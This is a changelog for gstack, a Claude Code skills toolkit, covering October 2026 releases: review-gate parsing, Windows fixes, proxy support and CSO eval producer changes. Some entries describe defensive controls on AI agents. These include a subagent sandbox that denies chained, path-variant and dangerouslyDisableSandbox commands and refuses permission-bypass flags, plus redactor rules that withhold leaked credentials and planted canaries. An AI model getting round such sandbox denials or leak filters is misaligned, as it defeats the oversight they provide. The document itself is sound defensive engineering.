Thanks @Lockyer228 (#3098) for the `GSTACK_CODEX_EFFORT` precedence and its probe tests, and @lubosxyz (#2934) for the original env override.

## [1.91.91.0] - 2026-10-11

**Review gates fail closed: a Codex reply that lists P1 findings is never `clean`, /autoplan survives a Claude Code auto-compaction, and a read-only /plan-eng-review finishes `DONE` instead of `BLOCKED` (Wave 9 lane B).**

- **Outside-review severities (#3105).** `lib/outside-review-result.ts` now reads P0-P3 labels in label position for every gate that summarises a review, the `execution` gate behind `/codex` consult and challenge included: `**P1 — x**`, `**P1** — x`, `1. P2 — x`, a bare `P2 —`, `### P1` and table cells `| P1 |`, plus the label-position severity words that only `review`/`structured` read before. A P0-P3 token in label position that none of these forms reads (`## P1/P2 findings`) is `VERDICT: unverified` with the new reason `unparsed_severity`, an `UNPARSED: line N: "..."` line and its own troubleshooting anchor; parsed P0/P1 findings still win (exit 3) and print the unparsed line too. A reply whose last `Verdict:` line says `not ready` with no readable severity prints `FINDINGS: unspecified` and exits 3. Code fences and inline code are quotes, not labels; an unlabeled consult answer stays `clean`.
- **Post-compaction journals (#3107).** Claude Code 2.1.293 writes the kept conversation again after an auto-compaction boundary: new uuids, relinked parents, zeroed usage, identical otherwise. The owned journal reader (`lib/claude-owned-journal.ts`) now collapses such a copy into its pre-boundary original for every record kind, so the publication guard no longer denies every phase entry with `tool_identity`, a copied `/autoplan` prompt no longer trips `init_own`, and a copied end turn plus typed prompt no longer disarms the guard. A copy that differs in anything else, or a duplicate with no boundary between, still fails closed.
- **Read-only /plan-eng-review (#3106).** When the caller forbids writing the report or the review log, the review now follows **Report-back outcome**: it returns the full report and ledger labeled not persisted, records telemetry `success`, ends `DONE` with `PERSISTED: no`, and its last line is `PERSIST: <gstack-review-log command>` for the caller to run. No new completion status; a failed permitted save is still `BLOCKED`. With no saved Eng Review, /ship's readiness dashboard now says to run that `PERSIST:` line or rerun the review.

## [1.91.90.0] - 2026-10-11

**Windows checkouts stop breaking gstack's nested shell scripts on Linux, the timeline Stop hook repairs on Windows instead of timing out every turn, and the `/setup-gbrain` smoke test stops piping into `gbrain put`.**

### What this means for you

- **Nested scripts are LF everywhere (#3110).** `.gitattributes` pinned only the top-level `bin/` to LF, so Git for Windows (`core.autocrlf=true`) wrote skill `bin/` helpers, the Claude hook shims, `lib/cso/images/*` and `scripts/app/*` with CRLF. A Linux bash reading that checkout (a synced tree, WSL, a bind mount) failed with `set: pipefail: invalid option name`, and `/autoplan`'s publication hook exited 2, blocking every phase entry. Every tracked `#!` file now resolves to `eol=lf`.
- **`./setup` repairs existing CRLF copies.** Pulling the new rule does not rewrite a file whose content did not change, so setup finds tracked files whose rule says LF but whose copy has CRLF and checks them out again as LF. A file you edited is left alone and named, with the command that rewrites it and keeps your edit (`docs/troubleshooting.md#setup-crlf-repair`).
- **The timeline Stop hook returns at once and repairs (#3103).** Through Git Bash, `gstack-slug` took 2.2-2.8 s against the hook's 2 s budget, so on Windows the hook spent about 2.5 s on every turn and repaired nothing. It now reads the slug from gstack-slug's cache in-process (`GSTACK_PROJECT_SLUG` still wins). On a miss a hidden background process resolves the slug and repairs, one at a time under a lock, and a directory it cannot resolve is retried after 5 minutes instead of every turn.
- **The `/setup-gbrain` smoke test writes the page to a temp file (#1675)** and runs `gbrain put "$SLUG" < file`, the shape gstack's other `gbrain put` instructions already use.

### For contributors

- `test/gitattributes-eol.test.ts` checks `git check-attr eol` for every tracked `#!` file and that no file git stores as binary is marked text (`*.icns` is now `binary`, since `scripts/app/*` would otherwise cover the app icon).
- `test/setup-crlf-repair.test.ts` builds the broken state with a real `core.autocrlf=true` clone, runs setup's repair under the install registry lock, checks the repaired bytes and runs the hook.
- `test/timeline-stop-hook-slug.test.ts` runs a copy of the hook against a slow stub `gstack-slug` and is force-included in the Windows lane. Native Windows latency is measured only if that lane runs it.

## [1.91.89.0] - 2026-10-11

**Windows installs stuck on the Git Bash hook false positive get a one-line recovery, the auto-updater stops trusting only its own checker, and setup can no longer delete the checkout it runs from.**

Since 1.91.31, `gstack-hook-check` on Windows (Git Bash) reported every TypeScript hook as `bun could not bundle the TypeScript entry`: Git Bash hands native Bun `C:/…` paths while the checker looked them up as `/c/…`. Setup refused the hooks, and team-mode auto-update held every later release because it re-checked each one with the broken installed checker. Code on main cannot reach those installs, so the troubleshooting page their messages link to now carries the recovery.

### What this means for you

- **Stuck on Windows?** Run `cd ~/.claude/skills/gstack && git pull --ff-only --autostash && ./setup` (your install directory if it differs). It clears the setup refusal, the held auto-update and `/gstack-upgrade`'s `is not a gstack checkout` refusal. `docs/troubleshooting.md#auto-update-hook-does-not-parse` and `#setup-hook-does-not-parse` say so instead of "Nothing to do locally".
- **The hook check reads both path spellings.** Bun's entry, input and error paths are mapped back to Git Bash's spelling, so healthy hooks pass and a real syntax error still fails with its own file and line.
- **One checker bug can't hold every release again.** The auto-updater runs the incoming release's own `bin/gstack-hook-check` on the extracted archive. Only a verified, complete report counts; a crash, empty output or unreadable report falls back to the installed checker, and when neither gives one the update is held as `hook-check-unavailable` with the fix command. A pass the installed checker disputes is logged as `HOOK_CHECK_DISAGREE`.
- **`/gstack-upgrade` and `/spec` work in Git Bash.** Their checkout-root guards check `git rev-parse --show-prefix` instead of comparing `--show-toplevel` (`C:/…`) with `pwd -P` (`/c/…`); a static test rejects the old comparison in skill bash.
- **`/review` and `/ship` record a start in a linked worktree on Windows.** `gstack-wtree` treats Git for Windows' `C:/…` `--git-path` answers as absolute (#3101).
- **Setup never replaces a runtime root that holds its own checkout (#3084).** With the checkout at `~/.cursor/skills/gstack`, `./setup --host cursor` used to swap the Cursor runtime root in over it and delete it. Setup now refuses before writing anything (and again in `_activate_runtime_root`, which every host arm that swaps a root goes through; Kiro, which writes into its root in place, is refused too), prints the commands that move the checkout out, and `./setup --status` suggests that move instead of the destructive command. The install summary says "previous install was left in place" only after checking that the checkout, skills directory and runtime root still exist.

### For contributors

- `bin/gstack-path-spelling.sh` (shell spelling, native spelling, same-path, absolute, within) and its TS twin `lib/path-spelling.ts` own the `/c/…` vs `C:/…` class; only this release's call sites moved to them.
- The Windows lane force-includes `test/setup-hook-syntax-gate.test.ts`; `windows-setup-e2e` runs the hook check on the checkout, the upgrade guard, and the documented recovery from a release with the false positive.

**Transcript ingest lands on gbrain 0.60, and `/retro global` counts every Claude Code session in its real repository.**

- **Transcript sources get a checkout (#3097).** gbrain 0.60's managed persistence refuses any import into a source with no active worktree binding on this host, and gstack registered every transcript source path-less, so every transcript page was refused (`owner_unavailable`) on every run. On a managed brain each transcript source is now bound to its own checkout, `<state root>/gbrain-transcript-sources/<source-id>/`, created by gstack as a git repository of its own (so gbrain binds that directory and never an enclosing checkout such as a brain-synced state root). A path-less source an earlier run registered is bound on the next run, the same way `gbrain sources add <id> --path` attaches a path to it; a resumed timeout checkpoint is admitted the same way before it imports. After each import the checkout holds one commit, the current page files, amended in place with no reflog so `git gc --auto` prunes old snapshots; it stays uncommitted while any page in the source lacks its file, so `gbrain sync` of the source can never soft-delete those pages. gstack never binds a source someone else holds (another host, or another directory on this host) and prints the owner, the inspect command and the release or re-bind commands, and it binds nothing under an ephemeral state root (`GSTACK_EPHEMERAL=1`). Classic (unmanaged) brains keep path-less sources, unchanged.
- **global-discover reads the session's own cwd (#1315).** Claude Code project directories were decoded by turning every `-` into `/`, which fails for every hyphenated path, and the cwd fallback read a 64 KB prefix that recent sessions' first record outgrows. Each session's cwd is now read from its own JSONL, whole lines up to 1 MiB (a longer line is skipped and counted in a warning), and resolved through git to its worktree root: root and subdirectory sessions count the same, linked worktrees count with their repository, a nested repository counts as itself, and sessions outside a repository are not counted as one.

## [1.91.87.0] - 2026-10-11

**The paid CSO producer gives `/cso` the Agent tool users have, so independent review and repair verification can run in the evaluation. The producer's receipt now counts subagent tokens.**

The current-skill smoke reports (run 38090891646) said repair verification was "not performed": `record-review` refused the review with "Repair review must be explicitly independent". The producer started Claude with `--tools Bash,Write`, so the Agent tool was missing. `/cso` could start no independent reviewer, honestly declined to attest independence, and so every repair stayed `not_attempted`. Users' Claude Code has the Agent tool. The v2 skill's parallel finding verification uses it too, and fell back to self-verification in the v2 baseline for the same reason.

### What this means for you

- **The producer allows `Bash,Write,Agent`.** Subagents inherit the whole policy. Claude Code 2.1.263, replayed against a mock API through the real producer, shows this in practice:
  - A subagent has only Agent, Bash and Write, and no MCP servers.
  - Its launcher calls run unsandboxed and reach Docker. Its other Bash is denied, including chained, path-variant and `dangerouslyDisableSandbox` commands.
  - `--restricted` keeps its Write calls inside the producer's work and helper directories.
  - Read, WebFetch, ListMcpResourcesTool and `mcp__*` tools are unavailable to it.
  - A subagent's `record-review` is accepted (`self_attested`), and `verify` then passes the review check.
- **Policy revision `claude-2.1.263-cso-v2`.** The tool set changed, so the producer policy identity changed with it. A recorded v2 baseline bound to `cso-v1` no longer matches, and the baseline must be measured again under this policy.
- **Subagent tokens are counted.** A `result` event's `usage` covers only the main thread's last turn. The receipt now takes the session total from `modelUsage` and sums turns across every `result`. A background subagent gives the main thread a second result. A killed run also counts the subagent messages it streamed.

### Itemized changes

#### Changed
- `test/helpers/providers/claude.ts`: `--tools Bash,Write,Agent` (`CLAUDE_PRODUCER_BUILTIN_TOOLS`). `assertClaudeProducerSandboxPolicy` also pins `--tools`, `--permission-mode dontAsk` and exactly one each of `--restricted`, `--safe-mode` and `--strict-mcp-config`. It refuses `--mcp-config`, `--agents`, `--plugin-dir`, `--setting-sources`, `--disallowed-tools` and the permission-bypass flags.
- `test/helpers/providers/claude-stream.ts`: tokens from `modelUsage`, turns summed over results, subagent messages counted once by message id, and only main-thread text kept as a killed run's output.
- `scripts/cso-eval-producer.ts`: Claude policy revision `claude-2.1.263-cso-v2`.

#### For contributors
- `test/provider-model-defaults.test.ts`: the tool list and each new policy refusal.
- `test/claude-producer-stream.test.ts`: subagent accounting with the event shapes Claude Code 2.1.263 printed in the replay, including a background subagent's second result and a killed run.

## [1.91.86.0] - 2026-10-11

**browse follows the proxy your shell already uses, writes PDFs on Windows machines whose temp dir is an 8.3 short path, and stops spawning `--config=NUL` children that crashed Bun 1.3.10 (Wave 9, lane E).**

### What this means for you

- **Proxy from the environment (#915).** Without `--proxy`, browse takes the proxy from `BROWSE_PROXY_URL`, then `HTTPS_PROXY`, `HTTP_PROXY` and `ALL_PROXY` (upper case before lower case). `BROWSE_PROXY_URL=direct` opts out. `NO_PROXY` becomes Chromium's bypass list, and loopback is always bypassed. The proxy and the `NO_PROXY` rules are part of the daemon config, so a session with a different environment is refused with the variable named instead of silently reusing a daemon that routes differently. The refusal offers `browse stop`, which now stops any daemon whatever its proxy or headed settings. A standard variable that doesn't parse (curl-style `host:port`) prints a warning and browse connects directly; a bad `--proxy` or `BROWSE_PROXY_URL` still fails, so a typo never quietly exposes your IP. `socks5h://` works as `socks5://`. See BROWSER.md, "Proxy from environment".
- **8.3 temp paths on Windows (#3104).** `make-pdf` and `browse pdf` failed with `Path must be within: C:\Users\BURCIN~1\...` because the safe directories and the target went through different realpath functions. Both sides now use one (`fs.realpathSync.native`), resolved paths compare exactly, and only a tail that doesn't exist yet is case-folded on Windows.
- **No more Bun crash windows on Windows (#3085).** The terminal agent, the native-cookie supervisor and its worker passed `--config=NUL`, which panicked Bun 1.3.10 at flag parsing; the respawn loop turned that into a crash window every few seconds. All three now get an empty `bunfig.toml` created in a private directory and re-checked to be zero bytes before each spawn. POSIX keeps `/dev/null`.

### Itemized changes

#### Changed
- `browse/src/proxy-config.ts`: `resolveProxy` (precedence, `direct`, cred policy for env URLs, warning fallback), `noProxyToChromiumRules`, `withLoopbackBypass`, `serverProxyEnv`; `socks5h` accepted as `socks5`; `computeConfigHash` takes the `NO_PROXY` rules (unchanged hash when there are none).
- `browse/src/cli.ts`: resolved proxy source and bypass reach every server launch (start, crash restart, headed connect and its supervisor); the startup line names the source; `proxyMismatchLines` refusal; `browse stop` skips the config-mismatch check.
- `browse/src/server.ts`, `browse/src/browser-manager.ts`: Chromium gets the bypass rules; the state file records the redacted proxy, its source and its bypass.
- `browse/src/path-security.ts`: `resolveRealPath`, one realpath for safe directories and targets. `browse/src/write-commands.ts`: `cookie-import` uses `validateReadPath`.
- `browse/src/bun-child-config.ts`: `emptyBunConfig()`; `bunChildFlags()` replaces `BUN_CHILD_FLAGS`.

#### For contributors
- `browse/test/proxy-env.test.ts`, `browse/test/proxy-env-daemon.test.ts` (a local proxy across launch, reuse, a NO_PROXY-only change, `direct` and restart), `browse/test/path-security-realpath.test.ts`, `browse/test/bun-child-config.test.ts`.

## [1.91.85.0] - 2026-10-11

**`/cso` works on Windows Git 2.56 and gets Docker on macOS, `/test-audit` and `/ship` loop correctly under zsh, and the deploy skills stop at the honest point (Wave 9 Lane D).**

- **`/cso` on Git for Windows 2.56.** Every CSO Git child, and the eval fixture and producer identity reads, now set `GIT_CONFIG_GLOBAL=/dev/null` on every platform. Git 2.56 rejects `NUL` there ("unable to access 'NUL'"), so `/cso` could not read any repository on Windows and `doctor` reported `static-snapshot: missing`. `GIT_CONFIG_NOSYSTEM=1` stays, POSIX is unchanged, and a new free test that also runs in the Windows CI shards proves `git config --global --list` is empty under the CSO environment. Thanks @Alfabit7 (#3082).
- **`/cso` admits the local Docker socket on macOS.** Bun's `realpathSync` opens its target to resolve it, and a Unix socket throws `EOPNOTSUPP`, so every macOS run rejected Docker and fell back to static-only. On exactly that error the socket path is now resolved without opening it (canonical parent plus `lstat`/`readlink`); the endpoint must still be a local `unix://` socket pinned by device and inode, TCP and SSH endpoints are still rejected, and Linux takes the unchanged path. The registry-broker socket mount uses the same resolver. Thanks @nathanshox (#3094).
- **zsh-safe file loops.** `/test-audit`'s near-duplicate seed and `/ship`'s base-control fixture copy looped with `for f in $VAR`, which zsh (the Bash tool's shell on macOS) runs once with the whole list. Both now split the list explicitly, and a static test rejects any generated bash block that loops over an unquoted variable. Thanks @vilano93 (#3109).
- **`/setup-deploy` stops when nothing is live yet.** The deploy-trigger question separates "nothing is deployed yet" from "this project never deploys". The first stops and writes nothing, telling you to bring the site up with the platform's own tool and re-run `/setup-deploy`; the second still records the `none` configuration. Thanks @mikehasa (#3095).
- **`/land-and-deploy` runs a recorded command trigger only with approval.** When Deploy Configuration records a command as the deploy trigger, Step 5 says production has not moved, names the command and asks you to run it, or runs it only with your explicit approval, before polling for a deployment tied to the merge; a zero exit is not revision proof. Thanks @mikehasa (#3096).
- **TODOS.md** records the Wave 9 triage: the remaining open P2/P3 bugs by area with their root-cause files and sizes, the parked items (#2118, #2623, #3061, #3084's legacy Cursor folders, #1315's session wording, the `gbrain put` stdin pipe from #1675) and the 73 feature requests grouped into twelve themes with counted demand.

## [1.91.84.0] - 2026-10-11

**A paid CSO baseline can be scored, and it measures what audits found. Three producer/scorer mismatches made gstack's own collect reject every real producer receipt from the first full baseline. Collect and score now accept real receipts of every kind, a test feeds them through, and findings count from every finished report, with completeness kept as its own measured rate.**

The first full paid v2 baseline produced 64 receipts and 64 judge records, then scored `unmeasured` with `INVALID_PRODUCER_RECEIPT`. Run against that run's retained artifacts, collect failed on three separate mismatches in turn:

1. **Artifact order.** The producer sorted its artifact inventory with `localeCompare`, so `package.json` came before `README.md`. Collect required strict code-unit order, and 62 of 64 receipts failed.
2. **Per-platform catalog bytes.** Next came `UNMATCHED_PRODUCER_INSTALLATIONS`. Each platform's producer unit generated its own evaluation catalog, and `evaluation-candidate` stamps `qualifiedAt` with the current time. The two embedded catalogs differed only in that timestamp and the evidence digest over it.
3. **Case-id namespace.** The last mismatch is in the private evaluator: judges named matched cases by their private id instead of the matrix's opaque id. The evaluator fixes it at its own boundary.

### What this means for you

- **Findings count from every finished report.** Before this, the scorer counted a cell's findings and runtime outcomes only when the helper report was `complete`, meaning no gap and every domain assessed. Real audits nearly always record some gap, such as no web advisory lookup or credential liveness left untested, so all 64 paid cells scored `partial` and the baseline found 0 of 32 seeded issues. `EvalResult` now carries a required `reportFinished` (helper status `finished`). Precision, recall, found seeded issues, runtime outcomes and tested repairs count from finished reports. A running or missing report still counts nothing, and neither does a report behind a failed producer receipt (a timeout, a failed post-run check, or output withheld for a credential), whatever the judge read there; that report also counts as not complete for the two gates below. Completeness is still measured on its own: each group reports `reports` (complete) and `finishedReports`, and the existing `mandatoryReports` and `matchedCompleteMatrix` gates still require complete reports. No threshold changed.
- **Inventories are checked for unique paths, not order.** The order stays bound by the inventory's identity hash. New producers sort by code unit, so the identity no longer depends on locale.
- **`evaluation-candidate --created-at <ISO time>`** pins every runtime's `qualifiedAt`. Builds given the same value write identical catalog bytes, so per-platform units embed the same catalog.
- **`collectProducerReceipts(…, embeddedCatalogs)`** handles units that already embedded different catalogs. When the platforms' catalog hashes differ, it accepts them only if the supplied catalog bodies hash to each platform's `runtimeSha256`, validate, share revision and scanner identity, and are identical apart from `qualifiedAt` and the evidence digest. The batch then carries those bodies, and scoring re-checks them. Without bodies, or with any other difference, the result is still `UNMATCHED_PRODUCER_INSTALLATIONS`.

### Itemized changes

#### Changed
- `scripts/cso-eval.ts`: `EvalResult.reportFinished` (required, implied by `reportComplete`, implies `reportPresent`) gates counted findings and outcomes. Groups add `finishedReports`. Collected scoring and `createEvalBaseline` count a failed receipt's result as neither finished nor complete.
- `scripts/cso-eval-producer.ts`: artifact inventory sorted by code unit.
- `scripts/cso-eval.ts`: `validateArtifactInventory` requires unique paths. `assertPlatformIdentities` accepts the catalog-equivalence proof. `ProducerBatch.embeddedCatalogs` is optional.
- `scripts/cso-runtime-promotion.ts`: `evaluation-candidate` takes an optional `--created-at`. Documented in `docs/cso-release-qualification.md`.

#### For contributors
- `test/cso-eval.test.ts`: finished partial reports count findings while the completeness gates still fail. Running and missing reports count nothing. A baseline finds a seeded issue in a finished partial report and never in a running or missing one.
- `test/cso-eval.test.ts`: in the real-receipt baseline, a seeded issue is found exactly where the vulnerable cell's receipt succeeded.
- `test/cso-eval.test.ts`: real producer receipts, one per kind (succeeded, span-redacted, credential-withheld, timeout, post-run check failure), with mixed-case helper artifacts, go through collect, `createEvalBaseline` and `scoreCollectedEval`. Locale-ordered inventories are accepted and duplicate paths rejected. Catalog equivalence passes with the bodies and fails without them, with a body missing, duplicated, or with a moved image.
- `test/cso-runtime-promotion.test.ts`: two `evaluation-candidate --created-at` builds write identical bytes.

## [1.91.83.0] - 2026-10-11

**gstack ships itself under `stamp-at-merge`.** `.gstack/ship-policy.json` flips `queue_mode` to `stamp-at-merge`, `bump` to `patch` and names `garrytan` under `maintainers`. The version is now allocated once, when the PR is next in the queue (`gstack-restamp --next --expect-base --expect-order`), instead of claimed at open and re-slotted on every reorder; every bump is PATCH, so unattended ships never meet the MINOR/MAJOR prompt; and `/review` contributor mode reads the maintainer set from the file instead of calling the collaborators API. `docs/ship-policy.md` gains the queue-side procedure: what a PR carries before its stamp, who runs the restamp and when, and what the merging thread verifies on the exact SHA instead of "VERSION above main".

## [1.91.82.0] - 2026-10-11

**Plan-review reality rows name their inputs.** The `{{PLAN_REALITY_ROWS}}` prose in plan-eng-review, plan-ceo-review and the autoplan CEO/Eng phases wrote `gstack-plan-reality check --phase <p> <review>` without saying what `<review>` is, and the completion summary cited a `PLAN_REALITY` line no step produced. The check now reads `<review-file|->` (the review you wrote, or stdin) and says it prints the `PLAN_REALITY:` line the summary cites. Found by the plan-eng-review workflow judge on an unrelated PR (clarity 3 / actionability 3 median, both citing these two references).

## [1.91.80.0] - 2026-10-11

**`/eval-plan` prices its default arms out of the box.** `lib/pricing.ts` gains verified rows for `claude-opus-5-5` ($4 / $20 per MTok, cache reads $0.20; Anthropic list prices effective 2026-10-07) and `gpt-6.1-sol` ($2 / $10 per MTok, cached input $0.10; OpenAI model page, standard tier), the two models `gstack-models resolve --role eval-arms` returns under the default `smart` implementation tier. `gstack-eval-plan arms` previously exited `EVAL_PRICE_MISSING` for both; the fail-closed rule is unchanged, only the data was missing.

## [1.91.79.0] - 2026-10-11

**`/eval-plan` preregisters paid evals for your product, coordination tools keep parallel lanes from colliding, and the autoplan owner sees a one-page brief instead of the full review (multi-agent wave PR E, plan items E1 tier 1, E2, E3).**

- **`/eval-plan` (tier 1).** `gstack-eval-plan checklist` renders the preregistration checklist (bars, arms, decoys, stop rules, held-out exposure); `dry-run` runs the `$0` stub model over real input shapes and checks the price-table row, the output budget for reasoning models and the retry prompt's actual text; `pilot` runs n≈3 through `lib/spend-ledger.ts` and prints the extrapolation with an error band before the approval ask; `arms` resolves `gstack-models resolve --role eval-arms`. `PRICING` moves to `lib/pricing.ts` with its excluded billing categories documented; a model without a verified row fails closed with `EVAL_PRICE_MISSING`. Tier-3 steps are named in the skill as `tier 3, after P7`.
- **Coordination.** `gstack-lane-check` diffs in-flight branches and PRs against planned files and reports each intersection with the PR number and hunk count (`LANE_CONFLICT`). `gstack-evidence verify <bundle>` reruns probes and marks each claim `verified` or `unverified`. `{{COORDINATOR_CONTRACT}}` (merge conditions, behavior-change notices, spend caps, handoff format) renders into autoplan and the spec `--execute` spawn, and `gstack-autoplan contract` prints the identical bytes. `scripts/ubicloud/ubi-runner.sh` tags VMs by owner, adds `list --mine`, `usage`, `records` and own-VMs-only `gc`, and records a VM before creating it. `test_backend` (`local` | `ubicloud`) joins the config and the doctor `cores` row recommends `ubicloud` under 8 cores. Ship gains the Step 18-H no-PR handoff section; cross-thread messages carry full thread ids.
- **What the owner sees.** autoplan Phase 4 writes `review-record.md` and presents `gstack-owner-brief render`: the `URGENT, outside this plan` block first, a plain summary, then the numbered decisions seven per page with stable ids, `auto` items showing the default taken and `approval` items pending; `close --plan` rewrites every `draft direction stands until the owner decides` line to the decided option and date. `/review --contributor` (auto-detected via `gstack-contributor-mode detect`: `maintainers` in `.gstack/ship-policy.json`, else push permission, else off, source recorded) reviews outside PRs as evidence first with an accept/supersede/decline table and emits credit lines only when a diagnosis or test carried over. `gstack-banned-terms check` runs on every `/review` and `/document-release` diff from `.gstack/banned-terms.json`, naming the term, file and allowed locations.

## [1.91.78.0] - 2026-10-11

**Plan reviews check reality before they check taste, `/review` and `/cso` look sideways from every finding, and `/investigate` ships recipes for flakes, polluters, races, eval bisects and backlog triage.**

Multi-agent wave PR D (`docs/designs/MULTI_AGENT_WAVE_2026_10_10.md`, items D1–D3). The reviews of this wave's own plan found that the most expensive mistakes were premise errors (a file:line that did not say what the plan claimed, a thing already built, a number nobody re-derived), so those checks are now rows every plan review must fill.

### What this means for you

- **Reality rows in plan reviews.** `plan-ceo-review`, `plan-eng-review` and `/autoplan` render one `REALITY: <row> pass|finding|n/a <summary> <file:line>` line per row: premise table (every factual claim with a receipt; `unverified=<n>` is scored), already-done, surface check, binding decisions, numbers re-derived from raw data, deferred asks, PR count. Eleven tier-2 rows (db, perf, search, incident, dependency) load only under `--scope`. `bin/gstack-plan-reality rows|check` prints the applicable rows and the verdict line `PLAN_REALITY: phase=… rows=n/m missing=… verdict=complete|incomplete|repair`; an unattended run with a missing row is `incomplete`, never a warning (`REALITY_ROW_MISSING`, `REALITY_RECEIPT_MISSING`). Each tier-1 row ships with a positive fixture taken from this wave's own review record and a decoy.
- **Sideways review.** `/review` Step 4 greps every finding's pattern at every other ingress, command and call site, takes the worst sibling's severity, and forces CRITICAL for data loss, trust-boundary bypass and uncapped spend (vocabulary unchanged: CRITICAL/INFORMATIONAL, no lane downgrades). The checklist names the shapes to sweep: siblings, caches in front of guarded or metered calls, static→dynamic imports, parity claims, pool queries inside a caller's transaction, test-only flake fixes. The Scope Check gains `Diff read: full|partial` and `Undeclared behavior changes:`; CLEAN counts as approved only after a full read. The flake-fix rule (`P(fail | regression)` before and after, else RH-15) is shared with `/investigate`. `/cso` Phase 12 does the sibling sweep only.
- **Investigate recipes.** `/investigate` gains an `## Arguments` table and five carved sections: flake (reproduce on main in a worktree, failed/N, forced probe, never loosen, paid evals never retried, required `## Flake evidence`), polluter (CI-order bisect, `POLLUTER:` line), race (probes, forced interleaving, `Promise.allSettled` writer template), eval-bisect (distinct revisions, cached cheap scorer, detached runs with the sentinel) and backlog (`--backlog`: `still_open` needs a run repro, `already_fixed <commit>`, `partially_fixed`, `owned_elsewhere`, contributor PRs as evidence only). Phase 1 adds call-sites-before-duplicates and `git update-index --refresh` before timing git in a worktree (also in `/benchmark`).

### Itemized changes

#### Added
- `lib/plan-reality.ts`, `bin/gstack-plan-reality`, `scripts/resolvers/plan-reality.ts` (`{{PLAN_REALITY_ROWS}}`); `scripts/resolvers/sideways.ts` (`{{SIDEWAYS_SWEEP}}`, `{{FLAKE_FIX_NUMBER}}`); `investigate/sections/{manifest.json,flake,polluter,race,eval-bisect,backlog}.md`; fixtures `test/fixtures/multi-agent-wave/reality-rows.json` (+15 `INCIDENTS.md` rows); two result codes with troubleshooting anchors.

#### Changed
- `scripts/resolvers/plan-gates.ts` (review mode): `Diff read`, `Undeclared behavior changes`, full-read approval rule; ship's byte-pinned plan-completion untouched.
- Templates: plan-eng-review Scope Challenge + deep incident table, plan-ceo-review 0A/0B + Completion Summary, autoplan ceo/eng phases + Pre-Gate table, review Step 4 + checklist, cso Phase 12, investigate skeleton, benchmark Phase 1. `CARVE_GUARDS` gains `investigate`; caps refreshed with measured ratios (plan-ceo-review +960 B, plan-eng-review +3,794 B, autoplan +851 B, review +923 B replacing the enum paragraph, cso +51 B; qa and ship untouched).

#### For contributors
- New tests: `test/plan-reality.test.ts` (18), `test/sideways-review.test.ts` (8), `test/investigate-recipes.test.ts` (9); `test/skill-fixture.test.ts` pins the sideways paragraph as its extraction anchor.
- Not in this release: `gstack-autoplan submit` does not yet call `gstack-plan-reality check` itself (the runner landed in parallel); a parent loop runs the check before `submit`. Automatic tier-2 scope detection waits for the runner's scope set to grow beyond `ui`/`dx`.

## [1.91.77.0] - 2026-10-11

**`/ship` now runs a two-stage pre-gate before anything paid, regenerates generated files from a committed registry, and links issues only on explicit intent (multi-agent wave C-pregate, plan items C4, C6, C8 tier 1).**

- **`gstack-pregate` (`lib/pregate/*`).** Stage 1 is the mechanical preflight (`regen`, `secrets`, `strays`, `literals`), stage 2 runs the test lanes the touched files select, with a separate clock each; results record the tree identity they ran against and go stale when the tree moves, so `gstack-ship-receipt write --pregate` refuses on `PREGATE_STALE`, `LANE_FAILED`, `INCOMPLETE` or `REMOTE_UNCLEARED` and writes nothing. Lanes come from the repo's own workflow files; a lane this machine cannot run becomes a persisted `requires-remote` obligation cleared with `gstack-pregate clear --run-url`. `secrets` and required lanes cannot be downgraded in `.gstack/pregate.json`; repo-declared commands run only from `/ship` or with `--allow-repo-commands`, otherwise the check is `incomplete`, never `pass`.
- **`gstack-regen` + `.gstack/generated.json`.** `check` runs each registered generator in a scratch worktree and diffs the outputs; `write` records sha256 pre/post; gstack registers `skill-docs` and `ship-goldens` (`scripts/gen-ship-goldens.ts`).
- **`gstack-issue-links`.** `Fixes #N` only from a `Fixes`/`Closes`/`Resolves` trailer or `--issue`; bare mentions, partial work and cross-repo references render as `Refs`; an unreadable closure issue downgrades to `Refs` with `ISSUE_UNREADABLE`; `--ci-run <id>` adds `Flake: #N (run <id>)`. Step 18 renders the `## Issues` section from it.
- **Step 5 lane example** collects every background lane's PID under `set -o pipefail` and fails on any non-zero exit, so a `| tail`-hidden failure can no longer pass.
- Tier 2 checks (`guards`, `ratchets`, `lint`, `links`, `hermetic`, `patches`, `integrator`) are named in `docs/pregate.md` as a follow-up; 14 new result codes with troubleshooting anchors.

## [1.91.75.0] - 2026-10-11

**CSO paid producers no longer fail a successful audit because the final summary quoted the helper's own run ID. Credential-class text still withholds the output and fails the receipt, and the reason now names the matching redactor rules and counts.**

In the first paid baseline both smoke cells finished their audits, then the producer marked each receipt `failed` with `Sensitive producer output or error withheld`. The producer treated any redactor match as a leak. A CSO run ID such as `<13-digit epoch>-<hex16>` matches `pii.phone.e164`, and some also match `pii.cc`. The fixtures' metadata address and a `PRIVILEGED` label also match. Replaying a mock provider through the installed producer, a summary of just "complete — assessed source in run <runId>." failed on 1.91.73.0 and succeeds now.

### What this means for you

- **Rule-named failures.** A credential-class match (the redactor's `secret` category) in the output, the error, or either concatenation still replaces the output with `[sensitive producer output redacted]` and fails the receipt. The reason is now `Sensitive producer output or error withheld: credential-class rule <id>×<count>, …` and never includes the matched text.
- **Source canaries quoted bare.** Values assigned to credential-shaped names in the cell's verified source (the `env.kv` rule), such as a planted canary, are matched exactly, including across output and error. They fail as `source.env.kv`, because no pattern recognises such a value once it is quoted without its name.
- **Helper identifiers survive.** Run and replay IDs, `cso-eval-<run>-<sha12>` catalog revisions, `<tool>-<hex16>-<hex16>` artifact IDs and hex finding, review and content IDs are set aside before the PII, internal and legal rules run. Those rules now replace their spans in place (`<REDACTED-<rule>>`) and no longer change the receipt status. Scoring reads the helper's report, and the evaluator still scans outputs for its canaries.

### Itemized changes

#### Changed
- `scripts/cso-eval-output-redaction.ts` (new): `redactProducerText` and `sourceCredentialValues`. `sanitizeProducerRun` in `scripts/cso-eval-producer.ts` uses them; the source values are collected once after the source is sealed and validated.

#### For contributors
- `test/cso-eval.test.ts`: helper IDs kept with PII spans redacted in place; env-line and Anthropic-key outputs fail with their rule names; a source canary is withheld whole or split across output and error. The existing canary test now expects the rule-named reason.

## [1.91.73.0] - 2026-10-11

**"Ship, next in queue at <version>" with zero manual stamp edits: a committed repo ship policy, `gstack-restamp` that stamps a PR only when it is next to merge (and re-stamps after a reorder in one step), a tree receipt that proves the only change since the gate was the stamp, a portable evidence bundle, and a ship receipt in the PR body.**

Reordering a release queue used to mean hand-editing VERSION, CHANGELOG headings, `(was X)` mentions and the lockfile on every PR behind the moved one, then re-running a full gate on a tree that differed only by those bytes. This release (multi-agent wave PR C-stamp) makes the stamp one command and the gate decision a receipt.

### What this means for you

